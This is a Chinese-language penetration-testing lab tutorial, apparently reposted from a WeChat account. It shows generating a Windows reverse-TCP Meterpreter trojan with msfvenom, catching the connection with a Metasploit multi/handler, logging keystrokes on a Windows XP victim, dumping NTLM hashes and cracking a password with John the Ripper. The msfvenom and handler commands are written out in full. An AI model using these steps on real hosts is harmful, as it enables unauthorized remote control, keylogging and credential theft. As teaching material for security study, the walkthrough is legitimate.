用Msfvenom生成木马并控制中木马的主机实施用户密码破解

用msfVENOM生成木马并控制中木马的主机实施用户密码破解

一、环境配置(两台主机均采用 NAT 桥接模式)

1、Kali 主机的 IP 配置：（192.168.X.X /24）

2、winxp 主机的 IP 配置：（192.168.X.0 /24）

二、远程控制计算机

1、利用msfvenom工具生成一个木马控制端—shell.exe，并把该木马程序保存到 root 用户下。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.1.22 lport=1211 -f exe > /root/shell.exe

2、将 shell.exe 文件拷贝到 WINXP 的桌面上

3、启用 MSF 攻击平台

4、加载模块和选择Payload

msf5 > use exploit/multi/handlermsf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp

5、设置 Payload 参数
Lhost 为 kali 的 IP，Lport 为 kali 监听的端口

msf5 exploit(multi/handler) > set lhost 192.168.1.22msf5 exploit(multi/handler) > set lport 1211

6、双击执行 WINXP 主机上的 shell.exe 文件
7、在 kali 上实施渗透攻击

8、在 kali 上实施键盘记录

（1）输入如下命令启用键盘记录功能

（2）在 windows xp2 的 CMD.exe 环境下输入命令

（3）在 kali 上打开键盘记录文件，可以看到文件中记录下来在 windows xp2 中输入的内容。

9、用 john（密码破解工具）破解windows xp2创建的用户密码，实验中用户名为：zs ,密码为：police
（1）将用于破解的密码词典 password.lst 文件拷贝到 root 用户目录下

（2）在 kali 上用命令 hashdump 获取 windows xp2 的用户名及加密后的密码（NTLM hash 值）

（3）将 zs 用户的密码 NTLM hash 值保存在zs.hash文件中，并查看

（4）启用 john 的图形化界面

（5）打开 zs.hash 文件进行破解

（6）选择要破解的密码加密算法和密码词典（password.lst）

（7）开始破解密码

（8）密码破解成功

本文始发于微信公众号（疯猫网络）：用Msfvenom生成木马并控制中木马的主机实施用户密码破解